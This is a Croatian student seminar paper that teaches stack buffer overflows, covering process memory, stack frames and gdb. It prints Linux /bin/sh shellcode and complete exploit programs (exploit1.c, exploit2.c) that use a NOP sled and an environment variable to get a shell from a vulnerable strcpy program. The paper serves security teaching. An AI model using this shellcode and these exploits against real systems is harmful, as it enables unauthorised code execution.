Seminarski rad PDF dokumenat

 

DCOM exploit video RPC buffer overflow exploit video primjer

 

TFTP exploit video TFTP exploit video primjer
 

2. Preljev spremnika

U računalnoj sigurnosti i programiranju preljev spremnika (engl. buffer overflow) predstavlja programsku grešku koja rezultira neželjenim prekidom rada programa. Preljev spremnika je posljedica toga da program želi pohraniti podatke u neko polje fiksne duljine, a količina podataka koja se treba pohraniti u to polje je veća od veličine polja tj. spremnika i to dovodi do preljeva spremnika, odnosno prepisivanja memorijskih lokacija koje nisu njegove, tj. operacijski sustav mu ih nije dodijelio već nekom drugom procesu. Ovakvo nekontrolirano ponašanje se ipak može "namjestiti" da bude kontrolirano. Programi koji iskorištavaju nedostatke nekog programa i tjeraju ga da radi ono što ne bi trebao, nazivaju se exploiti.

2.1 Organizacija memorije procesa

 

Da bi razumjeli kako radi preljev stoga ( engl. stack overflows ) moramo razumjeti kako je proces organiziran u memoriji.

Procesi su podijeljeni u tri područja:

Tekst područje je fiksno za neki program, sadrži izvršni kod programa, predviđen je samo za čitanje, nemoguće je pisati po tom dijelu memorije procesa.

Data područje sadrži inicijalizirane i ne inicijalizirane podatke. Statičke varijable su smještene u ovom području. Područje podataka odgovara data-bss sekciji od izvršne datoteke. Njegova veličina može biti promijenjena sa brk() sistemskim pozivom.


1

Slika 2.1: Memorijsko područje procesa

2.2 Što je Stog

Stog je podatkovna struktura često korišten u računalnim programima. Podaci koji su prvi stavljeni na stog, bit će posljednji izbačeni s njega. Ova osobina se često označava kao "zadnji unutra prvi vani" - LIFO ( engl. last in, first out ).

Nekolicina asemblerskih ( engl. asembler – strojni jezik ) operacija je definirano nad stogom kako bi se lakše rukovalo njime. Dvije najvažnije su PUSH i POP. PUSH dodaje element na vrh stog-a. POP smanjuje veličinu stog-a tako da izbaci posljednji element sa vrha stog-a.

Stog se primjenjuje u ove svrhe:

  
Opis registara koji su potrebni za daljnje razumijevanje:

 

   Stog je kontinuiran blok u memoriji koji sadrži podatke. Registar u procesoru koji se naziva pokazivač stoga (SP – stack pointer) sadrži informaciju (pokazivač) na vrh stoga-a u memoriji. Moderni procesori automatski mijenjaju vrijednosti ovog registra prilikom poziva instrukcija PUSH i POP. O zavisnosti od implementacija stoga će u memoriji ići od viših vrijednosti prema nižim ili obratno. U našim primjerima i primjenama koristit će se stog koji raste prema dolje. Ovakav slučaj je kod većine popularnih procesora kao npr. Intel, Motorola, SPARC i MIPS procesora. Također, implementacija pokazivača stog-a (SP) može se razlikovati od tipa procesora, ali prihvatiti ćemo da pokazivač stog-a pokazuje na zadnju adresu na stog-u.

   Današnji prevodioci za rad sa lokalnim varijablama koriste još jedan registar (FP - frame pointer) za referenciranje lokalnih varijabli i parametara. Na Intel procesorima ovaj registar se zove EBP.

   Svaka funkcija prilikom poziva treba napraviti sljedeće korake:

  
Ponašanje funkcije ćemo najbolje uočiti na jednostavnom primjeru:

primjer1.c

 
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}
 
void main() {
  function(1,2,3);
}

 

 

   Zatim prevedemo ovaj programski kod na sljedeći način.

 
 
$ gcc -S -o primjer1.s primjer1.c
 
 

Tako ćemo dobiti datoteku primjer1.s koja će sadržavati asemblerski kod programa.

 

   Linija function(1,2,3) je transformirana u:

        
        pushl $3
        pushl $2
        pushl $1

                call function

 

 

    On stavlja ( PUSH ) tri parametra od funkcije u obrnutom redoslijedu na stog, a zatim
pozove instrukciju call. Zadatak instrukcije call je:

 

   Funkcija će, nakon završetka, učitati sačuvanu vrijednost IP-a, i vratiti se u prijašnje stanje.

Unutar funkcije se događa slijedeće:

 
        pushl %ebp
        movl %esp,%ebp

                subl $20,%esp

 

 

   Pohrani vrijednost EBP, kopirati SP u EBP, kako bi postao novi FP pokazivač.
Zatim definira lokalne varijable, tako da smanji vrijednost SP-a i napravi mjesta za spremnik buffer od 16 bajta na stog-u (20 - u oktalnom brojevnom sustavu). Memorija se može adresirati samo u veličini djeljivoj sa veličinom integera, u našem slučaju je to broj 4, dakle sve veličine moraju biti djeljive sa 4.

Slikovito prikazano stog-a izgleda ovako:

2
Slika 2.2: Organizacija stoga u memoriji

 

Stog se širi obrnuto od širenja memorije, na vrhu memorije je dno stog-a, i to je
recimo neki broj 2000, a dno memorije je vrh stog-a i to je recimo broj 10.

 

2.3 Buffer Overflows

                               

                       
Počnimo odmah s primjerom koji ima u sebi grešku.

primjer2.c
 
void function(char *veliki_string) {
   char mali_buffer[16];
   strcpy(mali_buffer,veliki_string);
}
 
void main() {
  char veliki_string[256];
  memset(veliki_string,'A',255);
  function(veliki_string);
}
 
 
 

   Ovaj program ima funkciju sa tipičnom buffer overflow greškom prilikom pisanja programskog koda. Nakon što se završi funkcija program će se srušiti, tj. dobit će se poruka "segmentation violation". Zašto će se to dogoditi?

Ako bolje pogledamo programski kod vidjet ćemo da u glavnoj funkciji main() program puni polje od 256 mjesta sa znakom 'A' i to predaje funkciji kao argument. U samoj funkciji deklarirano je polje od 16 znakova i zatim je prekopirano veliko polje od 256 znakova u polje od 16 znakova bez ikakve provjere granica odnosno veličine polja. Naravno to će izazvati preljev spremnika jer 256 znakova ne stane u 16 znakova te će ostatak biti prepisan u tuđe memorijsko područje i to će izazvati neočekivano rušenje programa.

 

strcpy(buffer, str) : kopira veliki_string u mali_buffer

 
 
aa

Slika 2.3: Prikaz podataka na stog-u

 

   Dakle, zadatak strcpy() funkcije je da kopira string sve dok ne dođe do bajta u kojem je NULL vrijednost. (NULL vrijednost predstavlja "nulu" u pravom smislu te riječi, 0x00, 0, '\0'), te 250 bajta je prepisano preko nečega što ne pripada njegovom memorijskom prostoru. Spremnik veliki_string napunjen je s znakom 'A' 0x41. Funkcija će nakon povratka pokušati da ode na memoriju 0x41414141. Dogodit će se pogreška jer 0x41414141 je nedefinirana u adresnom prostoru našeg procesa.

   A, funkcija je pokušala da uradi to, zato što je u polju ret na stog-u tako pisalo.

 
 
[journal]$ gdb ./primjer2
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) quit
 
 
 

 

2.4 Shell kod

                                  

   Dakle, do sada je pokazano kako se može modificirati vrijednost povratne adrese i na taj način pokušati kontrolirati tok izvođenja programa. Ali je pitanje što dalje? Što  ustvari želimo uraditi?

   Odgovor na ovo pitanje se zove payload ili nagrada za trud.

   U ovom slučaju želimo da taj program pokrene shell ili cmd u windows-ima.
Iz shell-a se dalje može pokrenuti bilo koji program i na taj način moguće je raditi sve potrebne radnje. Potrebno je negdje u memoriju staviti shell kod, i modificirati povratak funkcije upravo u taj kod, tako da se on izvrši.

    Slijedeći program pokazuje put do pokretanja shell-a u Linux-u preko tzv. shell kodova.

 
test.c
 
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
void main() {
   int *ret;
 
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
 
 

Zatim se program prevede i izvrši:

 
 
[journal]$ gcc -o test test.c
[journal]$ ./test
$ ls
test test.c
$ exit
[journal]$
 
 

 

Dakle shell kod nije ništa drugo već samo niz instrukcija koje su osmišljene za određenu namjenu. Za potrebe exploita, shell kodovi ne smiju u sebi sadržavati NULL karakter ('\0',0x00,0), jer funkcija strcpy() prilikom kopiranja ukoliko bi naišla na NULL karakter ne bi sve odradila kako treba te napad ne bi uspio.

 

2.5 Pisanje exploita

                              
                        

Za početak pokažimo jedan jednostavan primjer:

 
exploit1.c
 
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
char large_string[128];
 
void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;
 
  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;
 
  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];
 
  strcpy(buffer,large_string);
}
 
 

Prevedimo ga i izvršimo:

 
 
[journal]$ gcc -o exploit1 exploit1.c
[journal]$ ./exploit1
$ exit
exit
[journal]$
 
 
 

   Napunili smo niz large_string[] s adresom od buffer[] spremnika, koji pokazuje tamo gdje shell kod treba biti smješten. Nakon toga poziva se funkcija za kopiranje strcpy() koja je odradila svoj posao kopiranja, iako se nigdje u programu  striktno ne poziva shell kod, ali se on ipak izvrši.

   Dakle da ponovimo, prilikom kopiranja large_string u buffer, došlo je do prepisivanja podataka koje se nalaze na stog-u iznad ovog spremnika buffer, jer se stog puni obrnutim redoslijedom. Jedna od stvari koje smo ovim potezom prepisali jeste i pohranjeni povratni pokazivač ret od procesora na stogu-u. Na taj način prepisan je taj pokazivač, sa pokazivačem od željenog shell koda u memoriji, i rezultat je bio pokretanje shell-a bez prave namjere.
Ovaj program je samoinficirajući, zato što sam sebe prevari i izvrši shell kod, naravno u praksi to nije tako.

   Problem se javlja kada se želi iz drugog programa isto ovo uraditi, jer se ne može saznati pokazivač od shell koda za taj program. Ali, odgovor je taj da za svaki program na određenom operacijskom sustavu stog će početi na istoj adresi. Mnogi programi ne stavljaju ( PUSH ) više od nekoliko stotina okteta na stog tako da se može čak i pristupiti pogađanju. Primjer programa koji će ispisati svoj stog pokazivač:

 
 
sp.c
 
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
 
 

Nakon pokretanja dobit ćemo:

 
 
[journal]$ ./sp
0xbffff6a8
[journal]$
 
 
 

   Ako pretpostavimo da program koji želimo prevariti (iskoristiti) izgleda ovako:

 
vulnerable.c 
 
void main(int argc, char *argv[]) {
  char buffer[512];
 
  if (argc > 1)
    strcpy(buffer,argv[1]);
}
 
 
 
[journal]$ ./vulnerable `perl -e 'print "A" x 524'`
Segmentation fault
[journal]$
 
 

 

   Kao što je već do sada spomenuto, teško je pogoditi povratnu adresu. Ukoliko bismo povratni pokazivač promašili jedan oktet niže ili jedan oktet više od našeg shell koda, program bi se neočekivano srušio, zato što pod trenutnim pokazivačem nije instrukcija koja se može izvršiti, već neki slučajni oktet koji je možda dio strojne naredbe te vrlo vjerojatno ne bi ništa korisno uradio. Zato ispred shell koda u memoriju staviti dosta NOP instrukcija. NOP su instrukcije koje ne rade ništa, samo procesor tjeraju naprijed da ide i izvršava kod dok ne dođe do shell koda.

NOP – engl. no operation na Intel procesorima i srodnim je definiran kao 0x90.
Potrebno je da pokazivač pokazivati negdje unutar NOP polja, te tek tada možemo biti sigurni da će shell kod biti uspješno izveden.

   Pretpostavljajući da stog počinje sa adresom 0xFF, na donjoj slici, 'S' predstavlja shell kod, a 'N' predstavlja NOP instrukcije, tada bi stog izgledao ovako:

4
Slika 2.4: Prikazuje shell kod i nop instrukcije na stogu

 

Te već sada možemo napisati pravi exploit za vulnerable.c program:

 
exploit2.c
 
#include <stdlib.h>
 
#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90
 
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
 
 
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;
 
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
 
  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
 
  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);
 
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
 
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
 
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
 
  buff[bsize - 1] = '\0';
 
  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
 
 
Nakon izvršavanja dobije se kao rezultat sljedeće:
 
 
[aleph1]$ ./exploit2 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
 
 
 

   Ovo je primjer koji je dobar za demonstraciju, i koji ima jako uporište ali ipak je malo težak za iskoristiti. Pronalaženje pozicija ( engl. offset ) je u dosta slučajeva veoma teško i zamorno, i ono se razlikuje od situacije do situacije i od računala do računala. Pronalaženje pozicija je opisano u slijedećem poglavlju.

               

 

2.6 Pronalaženje pozicije

                            
 

Imamo sljedeći program:

 
vulnerable1.c 
 
void main(int argc, char *argv[]) {
  char buffer[512];
  if (argc > 1)
    strcpy(buffer,argv[1]);
}
 
 
 

Zatim ćemo napisati pomoćni program kome ćemo dodati samo jednu liniju koda.

 
vulnerable2.c
 
void main(int argc, char *argv[]) {
  char buffer[512];
  printf("point: %p\n",&argv[1]);
  if (argc > 1)
    strcpy(buffer,argv[1]);
}
 
 
 
 

    Kad pokrenemo testni program kao da ćemo ga iskoristiti, ali napravimo neki slučajni offset, a program će ispisati pravi offset, naravno ovo nije pravi offset koji nama treba, jer stog ide u obrnutom redoslijedu, i od ovoga moramo oduzeti veličinu buffer-a i još neke vrijednosti kako bismo dobili traženu vrijednost.

    Sljedeća metoda zahtjeva korištenje debugger-a gdb, čije je korištenje na najjednostavniji način prikazan u donjem primjeru.

    Opet imamo program vulnerable1.c koji je identičan sa prethodnim primjerom.

 
 
[journal]$ ./vulnerable `perl -e 'print "A" x 1000'`
Segmentation fault
[journal]$ gdb ./vulnerable
GNU gdb 5.3-22mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) set args `perl -e 'print "A" x 1000'`
(gdb) r
Starting program: /vulnerable `perl -e 'print "A" x 1000'`
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0xbffff090       -1073745776
ecx            0xfffffc1c       -996
edx            0xbffff85c       -1073743780
ebx            0x40157f50       1075150672
esp            0xbffff2a0       0xbffff2a0
ebp            0x41414141       0x41414141
esi            0x40012780       1073817472
edi            0xbffff2e4       -1073745180
eip            0x41414141       0x41414141
eflags         0x10286  66182
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   8064
orig_eax       0xffffffff       -1
(gdb) quit
 
 

   Prvi način nam je pokazao vrijednost 0xbffff2f8, a drugi je pokazao da je esp - 0xbffff2a0, dok također iz nekih drugih pokušaja smo dobili 0xbffff2e8 dakle, najveća razlika je nekih 88 bajta. Zašto se to javlja?

   Kao prvo, nismo gledali iste vrijednosti, u prvom slučaju smo tražili pokazivač od prvog argumenta a u drugom smo tražili pokazivač od stog-a u trenutku kada se program srušio, zato se javila razlika. A inače ako programe pozivamo sa različitim dužinama argumenata i enviroment varijabli, dobit ćemo različite vrijednosti, opet ćemo iskoristiti isti program vulnerable2.c

 
vulnerable2.c 
 
void main(int argc, char *argv[]) {
  char buffer[512];
  printf("point: %p\n",&argv[1]);
  if (argc > 1)
    strcpy(buffer,argv[1]);
}
 
 
[journal]$ ./vuln e
vuln: 0xbffff718
[journal]$ ./vuln eeeeeeeeeeeeeeeeeeeeeeeeeeeeee
vuln: 0xbffff6f8
[journal]$  ./vuln eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
vuln: 0xbffff6e8
 
 

Zbog ovoga svaku sitnicu moramo uzeti u obzir, sa različitim dužinama argumenata drugačiji su offeseti pa čak i neočekivani offseti se pojavljuju.

   Pogledajmo primjer u gdb-u:

 
 
(gdb) set args `perl -e 'print "A" x 1000'`
(gdb) b main
Breakpoint 1 at 0x804837f: file vulnerable1.c, line 3.
(gdb) r
Starting program: /vulnerable1 `perl -e 'print "A" x 1000'`
 
Breakpoint 1, main (argc=2, argv=0xbffff2e4) at vulnerable.c:3
3                 printf(":%p\n", &argv[1]);
(gdb) x/5xw 0xbffff2e4
0xbffff2e4:     0xbffff44f      0xbffff473      0x00000000      0xbffff85c
0xbffff2f4:     0xbffff871
(gdb) x/6s 0xbffff473
0xbffff473:      'A' <repeats 200 times>...
0xbffff53b:      'A' <repeats 200 times>...
0xbffff603:      'A' <repeats 200 times>...
0xbffff6cb:      'A' <repeats 200 times>...
0xbffff793:      'A' <repeats 200 times>
0xbffff85b:      ""
(gdb) q
 

 

U ovom smo poglavlju naučili osnovne funkcije vrlo korisnog debugera gdb i kako ga koristiti po operacijskim sustavom Linux, a u nastavku su prikazane osnovne naredbe gdb debugera.

    Osnovne naredbe: